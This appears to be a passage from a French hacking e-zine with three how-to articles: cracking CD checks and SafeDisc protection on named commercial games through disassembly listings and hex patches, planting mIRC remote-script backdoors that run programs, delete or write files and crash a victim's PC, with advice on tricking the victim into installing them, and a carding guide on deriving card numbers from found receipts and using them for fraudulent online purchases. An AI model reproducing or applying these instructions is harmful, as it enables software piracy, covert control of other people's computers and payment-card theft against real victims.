|:0043D5F1 <== hoho :)) | :00442030 56 push esi :00442031 E84AFFFFFF call 00441F80 :00442036 8BF0 mov esi, eax :00442038 85F6 test esi, esi :0044203A 750E jne 0044204A * Possible StringData Ref from Data Obj ->"You must have the KINGPIN CD in " ->"the drive to play." | :0044203C 68C8414500 push 004541C8 <== on arrive ici :00442041 50 push eax :00442042 E859D7FDFF call 0041F7A0 :00442047 83C408 add esp, 00000008 Donc, nous voyons le message d'erreur et un petit jne juste avant !! Mais bon, remplacez un je en Jne et autres, a fait branleur !!! Rflchissons un peu ;) On a vu : * Referenced by a CALL at Address: |:0043D5F1 Donc avec W32Dasm on va regarder ce call !! Allez dans le menu "Goto" et clickez sur "goto code location" et entrez : 43D5F1 Maintenant on arrive ici: :0043D5E5 A184274900 mov eax, dword ptr [00492784] :0043D5EA 83C40C add esp, 0000000C :0043D5ED 85C0 test eax, eax :0043D5EF 7505 jne 0043D5F6 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0043D5D2(U) | :0043D5F1 E83A4A0000 call 00442030 <== get the fuck outta here! * Referenced by a (U)nconditional or (C)onditional Jump at Addresses: |:0043D51F(U), :0043D532(C), :0043D55A(U), :0043D5BA(C), :0043D5D0(C) |:0043D5EF(C) Hehehe, voil !! C'est ce call de merde qui appelle la routine de CD check ! On va le noper et il nous tanera plus !! Promis. Clickez sur ce call, en bas de la fentre de W32Dasm, vous devez voir offset : 3D5F1 Lancez votre diteur hexa et allez cet offset ! On remplace E83A4A0000 par 9090909090. Enregistrez le fichier et lancez le ;) Choisissez new game, et WOW !! Le jeu marche *grin* ! Piece of cake !! On vient de cracker King Pin ! Un jeux super rcent mais avec une protection de merde :) (tant mieux hehe, vous allez voir CDilla, c'est autre choses) Voil, c'est fini pour les CD checks de bases avec W32Dasm ! **** CD check avec Soft-ice ***** Voici un exemple Trs simple de CD check ! Mais cette fois-ci on utilise Soft-ice (my love) Le but du crackme et de faire afficher le message de bon CD qd on a pas un seul CD dans le lecteur :) On le lance sans CD, on click sur le bouton et une messagebox de merde arrive !! mouahah Les BPX les plus utiliss dans le CD checks sont: GETDRIVETYPEA et GETVOLUMEINFORMATIONA !! Mettez un bpx sur GETDRIVETYPEA et clickez sur le bouton! Pressez F12 tant que l'on est pas la bonne place !! Vous devriez voir qq chose comme a: 025F:00401032 83F805 CMP EAX,05 <--- c'est un CD ? 025F:00401035 75DC JNZ 00401013 025F:00401037 6A00 PUSH 00 025F:00401039 6A00 PUSH 00 025F:0040103B 6A00 PUSH 00 025F:0040103D 6A00 PUSH 00 025F:0040103F 6A00 PUSH 00 025F:00401041 6A20 PUSH 20 025F:00401043 68F7214000 PUSH 004021F7 025F:00401048 685A224000 PUSH 0040225A 025F:0040104D E85E000000 CALL KERNEL32!GetVolumeInformationA 025F:00401052 0BC0 OR EAX,EAX 025F:00401054 74BD JZ 00401013 <-- JMP BAD CRACKER 025F:00401056 6A00 PUSH 00 025F:00401058 685F224000 PUSH 0040225F 025F:0040105D 6A00 PUSH 00 025F:0040105F 6A00 PUSH 00 025F:00401061 685A224000 PUSH 0040225A Ok, c'est trop simple, il compare la valeur d'EAX avec 5! Hmm pourquoi 5 ? Voici un petit tableau des diffrents type de lecteurs et leurs rfrences: La valeur dans EAX veux dire: 0 Lecteur indtermin 1 Rpertoire sur la racine n'existe pas 2 Disque removable 3 Disque dur 4 Remote Drive(Network) 5 CD ROM 6 RamDisk Donc le crackme ici compare EAX avec 5 ! Donc il veut un CD ROM arff sinon il saute!! 025F:00401032 83F805 CMP EAX,05 025F:00401035 75DC JNZ 00401013 <-- on NOP a On nop a ! Et plus jamais de problmes avec a hehehe !! On ouvre le crackme avec un diteur hexa, on cherche 83F80575DC et on remplace par 83F8059090. Aprs ce contrle de type de disque, on voit un "CALL KERNEL32!GetVolumeInformationA" Hehe, une API souvent utilise par les CD checks! Ca ressemblais a: 025F:0040104D E85E000000 CALL KERNEL32!GetVolumeInformationA 025F:00401052 0BC0 OR EAX,EAX 025F:00401054 74BD JZ 00401013 <-- Jump to bad boy Encore une fois ! On NOP le saut conditionnel et le CD is no more :) Ben voil, c'est fini, je ne vais pas faire un roman non plus sur les CD checks ehehe ******************************************** ** CD CHECKS: PROTECTIONS COMMERCIALES: ** ** ** ** CD LOCK: TOMB RAIDER 3 FR ** ******************************************** Vous tes srement beaucoup vouloir Tomb Raider III mais ce jeu est protg contre la copie ! Enfin, en thorie !!!! Tout d'abord nous allons voir la protection. Un CD Vierge ne peut contenir que 650 Mo de donnes et le CD original de Tomb Raider III contient 3 Go de donnes ?! Oui en fait il y a 4 fichiers qui font 600 Mo chacun : Awcs.afp ; Neir.afp ; Oket.afp et Vfaw.afp . Pour Pouvoir le graver il faut d'abord copier tous les fichiers du CD sur le disque dur, sauf les 4 cits plus haut. Ensuite crer 4 fichiers avec le mme nom avec un caractre dedans pour que le fichier fasse 1 octet. Maintenant on grave le CD sans problme mais le jeu ne marchera pas car il est encore protg !!! Et c'est l qu'intervient le cracking! Nous sommes en prsence d'un CD Check (contrle du CD) et le jeu nous affiche le message " Tomb Raider III CD ?" malgr la prsence du CD Grav. Si vous avez lu le premier cours, vous vous dites comme moi, on va le dsassembler et chercher cette phrase dans String Data References. Le problme c'est que l'on ne trouve pas cette phrase, donc il suffit de rflchir un tout petit peu. Il y a 4 fichiers qui ne servent rien donc on va chercher le nom de l'un d'eux dans les String Data References. On voit d:\Awcs.afp , d:\Neir.afp , d:\Oket.afp et d:\Vfaw.afp. Donc on double-click dessus et on retourne dans W32Dasm, juste au code source de cette rfrence, on remonte avec les barres de dfilement et on trouve: test edi, edi jne 0048D2CE * Possible string data reference from Obj ->"rb" Push 004C7AD4 * Possible string data reference from Obj ->"d:\AWCS.AFP" ....... Le Jne (Jump if not equal) fait le saut s'il ne trouve pas le fichier de 600 Mo donc on le change en je (jump if equal) et le programme ne saute que si il trouve le fichier. Il peut toujours chercher !!! Donc maintenant on ouvre le fichier Tomb3.exe avec un diteur hexadcimal, on cherche la chane 85FF756568D4 et on la remplace par 85FF746568D4 . Et on enregistre le fichier. Le jne 0048D2CE est devenu Je 0048D2CE. Maintenant on refait la mme chose avec les autres fichiers.(d:\Neir.afp , d:\Oket.afp et d:\Vfaw.afp) Les 2 premiers seront casi-identiques mais on ne trouvera pas la mme chose au fichier "D:\Vfaw.afp" C'est normal il n'y a rien changer. Donc vous avez chang : - pour "Neir.afp": 0F85F9000000 par 0F84F9000000 ===> le 85 (jne) devient 84 (je) - pour "Oket.afp": 0F85AD000000 par 0F84AD000000 ===> le 85 (jne) devient 84 (je) - rien pour "Vfaw.afp" Normalement, vous avez tout chang avec l'diteur Hexadcimal et Sauvegardez. Une fois ceci fait vous pouvez lancer le jeu avec un CD grav dans le lecteur !!! Tomb Raider III is Now Cracked !!! Voil!! La Protection CD lock est assez stupide en fait !! Mme trs simple cracker ! Vous la retrouverez dans Commandos par exemple aussi :) Pour le cours qui suit sur CDilla, il serait prfrable d'aller jeter un oeuil la partie unpacking qui suit ce cours si vous ne connaissez rien en unpacking et autres dumping !! Mais si vous tes dj l'aise avec le PE, et que vous vous prenez pour un 133t Cr4x0R hehe, lisez !! Mais ne pleurez pas si vous ne comprenez rien !!! Voil, let's go ************************************************************************ **** CDilla : Safe disc **** ************************************************************************ MidTown Madness version Franaise: Une autre approche sur CDilla Outils ncessaires: * CD Original de Midtown Madness * Soft-ice 3.23 * Soft-ice Tool pour patcher Soft-ice (pour dumper les sections) * HexWorkshop * Frogsice (pour cacher Soft-ice) * ProcDump (comme PE Editor) * Exescope Introduction: Salut tous, je sais qu'il y a dj un cours sur Midtown Madness par black check mais la mthode que j'utilise n'est pas la mme que lui... Je vais expliquer le plus de choses possible et en plus c'est le 1er cours sur CDilla en franais !!! Il serait prfrable de lire le cours de black check avant, et d'avoir quelques connaissances sur le format PE... A Mort CDilla: Aprs avoir install le jeu, ditez le PE du fichier ".icd" avec ProcDump. (lancez ProcDump, clickez sur PE Editor, allez o se trouve votre fichier ".icd") Le fichier est : Midtown.icd Maintenant, vous devez voir ceci: - Entry Point : 00166C10 - Image Base : 00400000 Ok, nous allons avoir besoin de l'OEP (Original Entry Point) plus tard donc nous allons le calculer ds maintenant. Pour cela on a besoin de l'Image base et de l'Entry point que l'on obtient avec ProcDump : 00400000 + 00166C10 = 566C10 (on les additionnes) Maintenant, clicker sur le bouton "sections" pour voir toutes les sections du fichier. On ne va avoir besoin que des valeurs Virtual Offset, Raw Size, et Raw Offset ! - pour la section ".text" : Virtual Offset: 00001000 Raw Size: 18D78F Raw Offset: 600 - pour la section ".Rdata" : Virtual Offset: 0018F000 Raw Size: 14C99 Raw Offset: 18DE00 - pour la section ".data" : Virtual Offset: 001A4000 Raw Size: 3D8A4 Raw Offset: 1A2C00 - pour la section ".data1" : Virtual Offset: 00314000 Raw Size: 20 Raw Offset: 1E0600 - pour la section ".rsrc" : Virtual Offset: 00315000 Raw Size: CB3 Raw Offset: 1E0800 Nous allons donc dumper toutes les sections du fichier ".icd" except la section ".Rdata" car, c'est plus compliqu pour celle-ci !! Il faut tout d'abord additionner l'Image base avec le Virtual Offset de toutes les sections: .text : 400000 + 00001000 = 00401000 .rdata : 400000 + 0018F000 = 0058F000 .data : 400000 + 001A4000 = 005A4000 .data1 : 400000 + 00314000 = 00714000 .rsrc : 400000 + 00315000 = 00715000 Ok, maintenant nous allons dumper les sections... Pour cela, mettez un breakpoint sur EOP (566C10 pour ce jeu). Vous avez srement remarqu, que si vous lancez le jeu avec Soft-ice charg, il vous envois chier, car il y a de l'anti Soft-ice. CDilla utilise meltice (createfilea) et l'int68h pour dtecter Soft-ice. Le mieux, c'est d'utiliser Frogsice, pour le cacher. J'utilise la version 0.20b, mais il faut la patcher pour qu'elle cache compltement Soft-ice de la dtection par int68h. Dans le cours de black check on voit qui faut rechercher dans le fichier: FrogSice.vxd -60 80 7d 1d 43 et le remplacer par : -C3 80 7d 1d 43 Voil, maintenant, plus aucun problme avec la dtection de Soft-ice, on va pouvoir s'occuper des choses srieuses !! Lancez votre Frogsice (version patche) et lancez le jeu. Pendant la vido, faites apparatre Soft-ice (ctrl+D) et mettez votre bpx sur l'OEP: Bpx 56CC10 pour ce jeu... Pressez F5, le jeu continue de se lancer, et quittez-le. Maintenant relancez-le et Soft-ice breaks sur 56CC10. Si Soft-ice ne break pas, regardez si vous avez bien mis votre bpx au bon endroit! (tapez bl et vous devez obtenir qq chose comme a #025F:56CC10) Donc, Soft-ice break sur l'OEP, vous n'avez plus qu' dumper les sections :) Avant le dump, dsactivez tous les bpx (bd *) car on veut pas de merdes dans nos sections dumpes ehe !! Grce Sice Tool, vous avez modifi la commande pagein qui vous permettra de dumper... La commande pagein fonctionne donc comme ceci pour dumper: pagein "l'adresse du dbut du dump" "longueur du dump" "nom du fichier" Donc dans Soft-ice, tapez: pagein 401000 18D78F c:\text.bin pagein 5A4000 3D8A4 c:\data.bin pagein 714000 20 c:\data1.bin pagein 715000 CB3 c:\rsrc.bin Voil, nous avons donc nos sections sur le disque dur !!!! Passons aux choses srieuses !!! : La Section Rdata : Bon, pour dumper cette section, c'est pas aussi simple =) Tout d'abord, nous devons trouver l'adresse relle de la fonction de dcryptage et pour cela nous allons tracer dans le call qui appelle dans la section rdata... Aprs que Soft-ice ai stopp sur l'OEP, on arrive ici : 00566C10 PUSH EBP <-- on stoppe ici sur l'entry point 00566C11 MOV EBP,ESP 00566C13 PUSH FF 00566C15 PUSH 005968D0 00566C1A PUSH 00566724 00566C1F MOV EAX,FS:[00000000] 00566C25 PUSH EAX 00566C26 MOV FS:[00000000],ESP 00566C2D ADD ESP, -5C 00566C30 PUSH EBX 00566C31 PUSH ESI 00566C32 PUSH EDI 00566C33 MOV [EBP-18],ESP 00566C36 CALL [0058F14C] <-- voici notre call, on trace dedans (F8) Dans le call , on arrive ici : 009A6485 pushad 009A6486 push 00000031 009A6488 push 00000000 <-- 0 dsigne les imports kernels, pour les users a sera 1 009A6490 call [9A64A6] <-- l'adresse relle de la fonction (9A64A6) 009A6496 add esp, 8 009A6499 popad ....... jmp [XXXXXXXX] Tracez dans le call et vous allez voir que le jmp [XXXXXXXX] devient jmp [KERNEL32!GetVersion] Ok, c'est normal, on est sur le bon chemin :o) Nous allons bientt programmer le Call fixer... Mais avant tout, nous devons connatre le nombre d'import de Kernels et users qu'il y a dans le jeu que l'on crack. Pour cela, plusieurs mthodes, on peut dsassembler le fichier ".icd" avec W32Dasm et les compter ou bien tracer avec Soft-ice, mais j'ai utilis un programme nomm : EXESCOPE pour savoir le nombre d'imports... Donc dans le fichier midtown.icd , j'ai : - 127 imports pour kernel32 - 42 import pour user32 Ok, nous avons besoin des ses valeurs en hexadcimal, car dans Soft-ice on n'utilise pas de dcimal: 127 = 7Fh 42 = 2Ah Ma partie prfre qd on crack CDilla: Programmer le call fixer. Nous n'avons pas l'accs en criture dans la section Rdata, donc nous allons la dplacer dans la section rdata... Pour coder le call fixer, je commence sur l'entry point, donc il faut ractiver le bpx sur l'OEP, et relancer le jeu. Attendez que le jeu stoppe dans Soft-ice. Maintenant on va dplacer notre rdata section la place de la data section en mmoire. Pour faire a, taper : m "le virtual offset de la section RDATA + l'image base" l "la longueur de RDATA" "le virtual offset de la section DATA" NOTE: Pour le virtual offset de la section data, utiliser un nombre plus grand, c'est mieux... 5A4000 est notre virtual offset, j'ai utilis 5B0000 (Plus grand comme je vous ai dit) Vous avez donc taper: m 58F000 l 14C99 5B0000 Maintenant, nous allons programmer le call fixer !! Vous tes donc la ligne: 566C10 PUSH EBP Ce que nous allons taper va ressembler cela: 00 pushad 01 push ebx 02 push 0 04 call [XXXXXXXX] 0A add esp,8 0D mov edx, XXXXXX 12 cmp eax,[edx] 14 je 20 16 inc edx 17 cmp edx, XXXXXX + XXXXX 1D jne 12 1F int 03 20 mov [edx],ecx 22 popad 23 inc ebx 24 cmp ebx, XX 2A jne 00 2C int 03 C'est partis !!! Tapez dans Soft-ice: A "et la touche entre" et programmez : 566C10 pushad 566C11 push ebx 566C12 push 0 566C14 call [009A64A6] adresse de la fonction trouv en traant dans le call 566C1A add esp,8 566C1D mov edx, 5B0000 adresse o nous avons copi notre section .rdata 566C22 cmp eax,[edx] 566C24 je 566C40 566C26 inc edx 566C27 cmp edx, 5B0000 + 14C99 adresse o nous avons copi notre section .rdata + rdata size 566C3D jne 566C22 566C3F int 03 par scurit, si il ne trouve rien, il stoppe ici 566C40 mov [edx],ecx 566C42 popad 566C43 inc ebx 566C44 cmp ebx, 7F Nombre d'API rparer 566C4A jne 566C10 566C4C int 03 Mettez ebx 0 (R ebx 0) , et votre eip la ligne 0 (ligne 0 = 566C10 ici, donc: R EIP 566C10) tapez "i3here on" et pressez F5 pour excuter le code, normalement on devrait stopper sur 566C4C . Remettez votre ebx 0, changez la ligne 02 (56CC12 ici) en "push 1" et changez la ligne 24 en 'cmp ebx, user_import_number' (2A for us) et remettez votre eip la ligne 0 (R EIP 566C10). Excuter a encore (F5). Normalement tout est ok, et on doit encore avoir stopp sur 566C4C . Nous pouvons maintenant dumper la section rdata sans crainte car tout est dcrypt :o) pagein 5B0000 14C99 c:\rdata.bin Hehe !! Maintenant on va reconstruire un fichier excutable qui va tre le fichier final. J'ai essay ProcDump pour importer les sections, mais cette merde n'a rien chang GRR ! Donc, je l'ai fait la main comme un grand ;) Voil comment faire : En premier faites une copie du fichier ".icd" (Midtown.icd) et renommez-le en ce que vous voulez mais avec l'extension ".exe" (ex: fuckit.exe) Ok, lancez HexWorkshop, ouvrez "Damnit.exe", ainsi que le fichier de notre premire section dump : C'tait: c:\text.bin On va avoir besoin du Raw offset de chaque section, on les trouves au dbut du cours mais je vais vous les remettre pour une meilleure comprhension: for the ".text" section : Raw Offset: 600 size : 18D78F for the ".Rdata" section : Raw Offset: 18DE00 size : 14C99 for the ".data" section : Raw Offset: 1A2C00 size : 3D8A4 for the ".data1" section : Raw Offset: 1E0600 size : 20 for the ".rsrc" section : Raw Offset: 1E0800 size : CB3 Ok, you got all shits here !! We want to do the 1st section ".text" so : Dans HexWorkshop, pressez alt+f5, entrez le Raw offset de la section que vous voulez importer ici : 600 et cliquez sur ok. Allez dans le menu Edit, et cliquez sur "select block" Entrez la longueur (size) de la section, ici : 18D78F... Regardez le fichier ouvert (text.bin) et pressez 'ctrl+a' pour tout slectionner.. copiez tout a avec 'ctrl+c'. Retournez dans la fentre principale de l'excutable dans HexWorkshop (damnit.exe), et coller ce que vous venez de copier dans le presse papier, faites: 'ctrl+v' ou menu Edit et paste. Enregistrez votre fichier, cool !! Voil, c'est fini pour la section '.text', elle est maintenant dcrypte!! Ok, je vais vous montrer l'import d'une autre section et vous ferez les autres de la mme faon ! 2me section : Rdata! Vous pouvez fermer la fentre 'text.bin', et ouvrez le fichier: 'rdata.bin' avec HexWorkshop. Retournez dans la fentre de l'excutable et pressez 'alt+f5', entrez le Raw offset de la section rdata: 18DE00. Cliquer sur le menu Edit, et cliquer sur "select block" entrez la longueur (size) de la section, ici : 14C99 Regardez la fentre de rdata.bin , pressez 'ctrl+a' pour slectionner tout et copiez les bytes avec 'ctrl+c'... Retournez dans la fentre de l'excutable (damnit.exe) dans HexWorkshop et collez avec 'ctrl+v' ou avec le menu Edit.. Ok, je pense que vous avez compris maintenant, faites de mme avec toutes les sections et enregistrez les modifications dans l'excutable. Vous pouvez quitter Frogsice car l'anti Soft-ice n'est plus dans notre nouvel excutable !! Virez le CD original de Midtown Madness et lancez 'damnit.exe'. WOW, le jeu marche, se lance trs rapidement et sans cette merde de fentre qui nous dit d'attendre durant la vrification du CD. Le jeux marche superbement bien :o) Mais pour faire une excutable parfait, il faut reconstruire le PE en utilisant ProcDump afin qu'il marche avec tous les OS. Si vous lancez le jeu sur une autre version de Windows a va planter :( Allez, on va rparer a !! - Lancez ProcDump (Merci G-RoM :) allez dans les Options et slectionnez: [X]Recompute Object Size [X]Optmize PE Structure [X] Use actual import infos et cliquer sur OK Cliquez sur Rebuild PE, et cherchez notre nouveau fichier (Damnit.exe pour nous) ProcDump nous fais une valide import table et notre excutable est PARFAIT :o) du moins, j'espre hehe !! Voil, je pense que a suffira pour les protections CD !! -)-[ tHE ANALYST ]-(- ^^^^^^^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい CONTROLER UN PC GRACE A IRC いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい Cet article n'est pas d'un niveau trs lev, car il repose sur de simples backdoors dans des scripts IRC, mais cela montre qu'en cherchant un peu, il est possible de faire pas mal de trucs sur le PC d'un mec via des scripts IRC. Tout d'abord, voici les explications sur de simples lignes de script qu'on pourrait qualifier de backdoors : on 1:TEXT:*!say*:*:/msg $2- Ce script permet de faire dire ce que l'on veut la personne qui l'a install en tapant la commande : !say #chan Par exemple, si vous tapez "!say #nethack fuck", la personne dira "fuck" sur le han #nethack (ce ne sera pas vraiment la personne, mais ce sera son nick). on 1:TEXT:!exe*:*:/run $2- Ce script permet de lancer des programmes sur l'ordinateur de la personne qui a install ce script en tapant la commande : !exe Par exemple, si vous tapez "!exe c:\windows\calc.exe", la machine de votre victime lancera la calculatrice Windows. on 1:TEXT:!del*:*:/remove $2- Ce script permet d'effacer des fichiers sur l'ordinateur de la personne qui a install ce script en tapant la commande : !del Par exemple, si vous tapez "!del c:\autoexec.bat", vous effecerez le fichier autoexec.bat de l'ordinateur de votre victime. on 1:TEXT:!write*:*:/write $2- Ce script permet d'crire dans les fichiers textes se trouvant sur l'ordinateur de la personne qui a install ce script en tapant la commande : !write Par exemple, si vous tapez "!write c:\autoexec.bat Hacked", vous rajouterez le mot "Hacked" la fin du autoexec.bat de la machine de votre victime. on 1:TEXT:*!kill*:*:/con/con Ce script permet de faire planter l'ordinateur de la personne qui a install ce script en tapant la commande : !kill Par exemple, si vous tapez "!kill", votre cible se retrouvera devant un ben cran bleu :o) Donc, nous avons vu que l'on peut faire pas mal de choses sur un ordinateur distant grce aux scripts ci-dessus. La problmatique, c'est qu'il faut que votre cible installe les scripts dans la partie "Remote" pour que vous puissiez les utiliser. Si la personne que vous visez ne connait absolument rien en script, vous pouvez tout simplement lui mentir en lui disant que le script lui permettra de tracer quelqu'un et de s'opper sur tous les chans publics, ou un truc du genre, et vous n'avez alors plus qu' lui envoyer le script suivant : -=/ --/-- CUT HERE --/-- CUT HERE --/-- /=- on 1:TEXT:*!say*:*:/msg $2- on 1:TEXT:!exe*:*:/run $2- on 1:TEXT:!del*:*:/remove $2- on 1:TEXT:!write*:*:/write $2- on 1:TEXT:*!kill*:*:/con/con -=/ --/-- CUT HERE --/-- CUT HERE --/-- /=- Maintenant, si vous craignez que votre cible s'y connaisse ne serait-ce qu'un petit peu, vous pouvez noyer ces cinq lignes dans d'autres scripts plus anodins, sachant que plus il y aura de lignes, mieux ce sera, car votre cible ne prendra pas le temps d'analyser toutes les commandes une par une. Voici un exemple de script lui faire installer, mais n'hsitez pas rajouter encore des commandes ou carrment recopier plusieurs fois la mme ligne : -=/ --/-- CUT HERE --/-- CUT HERE --/-- /=- 1:join:#:/msg $nick Salut $nick :o) on 1:TEXT:*!say*:*:/msg $2- 1:text:*bye*:#:/msg A plus $nick :o) on 1:TEXT:!exe*:*:/run $2- 1:PING:/notice $nick [ $me PING Reply] : 000 secs on 10:join:#:/echo 5 $nick is in $chan on 1:TEXT:!write*:*:/write $2- 1:time:*:/notice $nick now, it is $time 1:join:#:/msg $nick Como estas $nick ? on 1:TEXT:*!kill*:*:/con/con on 1:TEXT:!del*:*:/remove $2- on @1:text:!kick*:#://kick $chan $2 on @1:text:!op:#://mode $chan +o $nick 1:text:*#*:*:/msg $nick no pub pliz -=/ --/-- CUT HERE --/-- CUT HERE --/-- /=- Qui plus est, l'avantage avec ce script, c'est que vous pourrez savoir quand votre cible l'aura install dans son "Remote", en tapant les commandes : /time Il vous rpondra : "now, it is /ping Il vous rpondra : "000 secs" Voili-voila, maintenant, vous n'avez plus qu' vous dmerdez pour que votre cible installe un de ces scripts dans le "Remote" de son serveur IRC, mais pour a, je vous fait confiance :o) ~)- Redoxx -(~ ^^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい CARDING, EXPLICATIONS & UTILISATIONS いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい いいいいいいいいいいいいいいい *** Description de la carte *** いいいいいいいいいいいいいいい Sortez votre portefeuille et observez la. Sur le recto, vous observez une puce. Retournez la et vous verrez une piste magntique de couleur noire. Maintenant pourriez vous rpondre cette question: qu'a-t-on donc stock sur ces lments? Sur quoi se base-t-on pour juger de la validit d'une carte (je n'ai pas dit "d'un compte bancaire", a c'est une autre histoire) ? On se base sur trois critres : - le plus rpandu se base sur la piste magntique (achats, prlvements, etc..). Sur celle ci sont stockes des informations comme le numro 16 chiffres, le nom/prnom du porteur, ainsi que la date d'expiration. Notez qu'il est inutile d'essayer de dcouvrir le code secret 4 chiffres en se basant uniquement sur la piste magntique. Celle ci prfre brider un off set, dcryptable uniquement par la banque mtrice (lorsque le code PIN est transfr la banque). - ensuite, on a la puce. Les informations contenues sur la puce sont les mmes que celles inscrites sur la pistes, enrichie heureusement (a dpend pour qui) d'une VA (Valeur d'Authentification : un algorythme ou "calcul cryptographique"). Notez que depuis novembre 1999, on voit apparatre des cls RSA 792 bits, videmment plus difficiles dcrypter que le DES 56 bits (voir des zine de crypto). - le numro grav dans la carte mme. Pour tre plus clair, le code PIN (Personnal Identification Number) que vous tapez sur le terminal permet la carte de dire la banque quelle cl utilisez pour lire l'information stocke sur la piste magntique (ou la puce 5% des cas). En ce sens on put dire que la carte puce, d'un point de vue trs primaire, est protg par deux portes, ont l'une (code PIN) est moins bien ferme que l' autre. La fonction des nombres et de l'algorythme : Les chiffres choisis pour identifier la carte ont-ils une fonction bien prcise ou au contraire sont ils choisis au hasard. Disons que le choix est arbitraire jusqu' un certain point. Soit un numro de 16 chiffres inconnu. Les quatre premiers chiffres dfinissent l'identiti de la banque ; ainsi aurons nous ceci: Sofinco : 4976 Credit Lyonnais : 4972 Socit Gnrale : 4973 Caisse d'Epargne : 4927 et 4978 On observe une parfaite relation logique entre les diffrents chiffres du code. Dj en diminuant les probabilits, il faut savoir si la victime est oui ou non un client de longue date. Si oui, le 14 chiffre est un 1. Sinon, c'est un 0. Les numros 7 13 se rferrent au numro de compte. L'utilit de savoir ceci rside dans le fait qu'il vous serait bien utile de connaitre ces donnes si jamais vous trouvez une facturette avec pour seules valeurs 9 chiffres. Vous connaitres les 6 premiers chiffres (banque et centre), vous connaissez les 9 autres (les chiffres inscrits sur le pitit papier), et par dduction, en calculant l' algorythme vous trouverez le dernie, la cl de Luhn. Calcul algorythmique dcrit ici. いいいいいいいいいいいいいい *** Calcul Algorythmique *** いいいいいいいいいいいいいい L'algorythme en Carding est une des bases fondamentales de la disciplines. Mais dire vrai, c'est dsormais un peu comme le bac. Il ne sert rien quant on l'a, on court aprs quand on ne l'a pas. On va prendre un exemple simple pour calculer notre premier numro de Carte bancaire (notez qu' il existe aussi une mthode pour calculer les cls RIB!). Prenons l'exemple d'une carte appartenant au Crdit Lyonnais (4972). Plusieurs valeurs vont rentrer en jeu. Le numro sera de la forme ABAB ABAB ABAB ABAB -Chaque nombre A donnera aprs calcul cryptographique un rsultat A'. Pour une valeur A=3, on multipliera A par 2 et donc A'=6. Dans le cas ou A=5 ou A suprieur 5, on multipliera par 2 et on ajoutera 1 (ici A'=11). Comment procder? Etablissez un numro en choisissant des chiffres de faon arbitraire. 4972 4153 4579 1511 par exemple. Mettons les valeurs A en gras : 4972 4153 4579 1511 Attribuons leur maintenant leurs valeurs A' respectives : 4 donne 8 7 donne 15 4 donne 8 5 donne 11 etc.... Additionnaons maintenant les valeurs A' et B 8+9+15+2+8+1+11+3+8+5+15+9+2+5+2+1=104 Soit 104 la valeur C. Si C est un multiple de 10, alors le numro de Carte bancaire gnr ainsi est valide. S' il n' est pas multiple de 10, alors il s' agira de rajouter la valeur 6 dans l'algorythme. Si on rajoute la valeur dfault (6) un A', alors le chiffre sera 3 (2x3=6). Si on le rajoute une valeur B, 6 restera 6. On peut aussi disperser 6 sur l'ensemble de l'algorythme (2 par ci, 4 par l). Je pense que ces premires notions n'taient pas bien difficiles comprendre. Sachez juste que c'est essentiel pour la suite. いいいいいいいいいいいい *** Carder's Actions *** いいいいいいいいいいいい 1.Acheter sur internet avec un numro 16 chiffres Attribu 2.Simulacre de carte bancaire (16 chiffres PIN non ncessaire) 3.Cartes tlphoniques rechargeables 1.Acheter sur internet avec un numro 16 chiffres Attribu Pour acheter sur Internet, que nous faut il? Un numro de Carte bancaire attribu, c' est tout. 10% des sites vous demandent d' indiquer le nom du porteur. Si c' est le cas, ne perdez plus votre temps sur ce serveur et trouvez en un autre. L'astuce, c'est de trouver un numro de Carte Bancaire attribu. Vous pouvez trouver des facturettes dans les Quick, les MacDo, les centres commerciaux, les banques (prs des distributeurs, dans la corbeille ou par terre), dans les boutiques genre Zara pour homme et femmes, etc... Certaines factures contenant le numro 16 chiffres sont brides lorsque vous les ramassez. C'est une mesure de scurit bien inutile de la part des commerants, puisqu'il existe toujours un certain pourcentage de chances que l'on retrouve avec prcision le numro complet 16 chiffres. En ce qui concerne les tickets trouvs la sortie des banques, la tache est plus aise. Connaissant la banque et l'indicatif de la banque, vous pourrez sans problme en dduire le numro de carte de la victime (mais a c' est pas cool). Au MacDo, gnralement, le numro n'est pas brid. De mme c'est ici que tous les jeunes se runissent pour frimer avec leurs putains de cartes bancaires, alors aucun scrupule baiser ces fils de pute de frimeurs. C' est ton problme si t'es insouciant ; paies en les consquences pov' merde. Pour commander, une fois le numro dcrypt (rapportez vous la page sur l'algorythme), il faut passer une commande sur Internet. Je ne vais pas vous dire comment faire pour recevoir la marchandise car vous tes assez grands pour vous dbrouiller seul. J'vais pas vous mcher le travail non plus ! Si vous emettez des doutes sur la validit du numro que vous avez plus ou moins dcrypt, vous pouvez toujours faire des blank tests sur internet : vous allez sur un site de cul payant en utilisant un proxy, et vous rentrez votre numro de CB attribu. Si la demande est accepte, c'est cool, mais dans le doute, mettez un numro bidon pour faire le test. Peut tre qu'ils rpondent "ok" toutes les cartes et a c'est pas bon pour vous si vous voulez commander un truc ! Donc testez la scurit du site, du genre "et cette fausse carte tu la captes?". Les sites de cul payants sont l'outil prfr du carder qui veut pas trop se casser le cul faire des probabilits : tu rentres les numros jusqu' ce que l'un d'eux soit accept et aprs, have some really fucking good fun! 2.Simulacres de carte bancaire Vous en avez peut tre entendu parler. En 1998, Serge Humpich avait fait des simulacres de cartes bancaires. Cette technique est dsormais bien connue des GIE cartes bancaires mais ils semblent s'en foutre au point que les fraudes continuent toujours. Le but, c'est de se procurer par n'importe 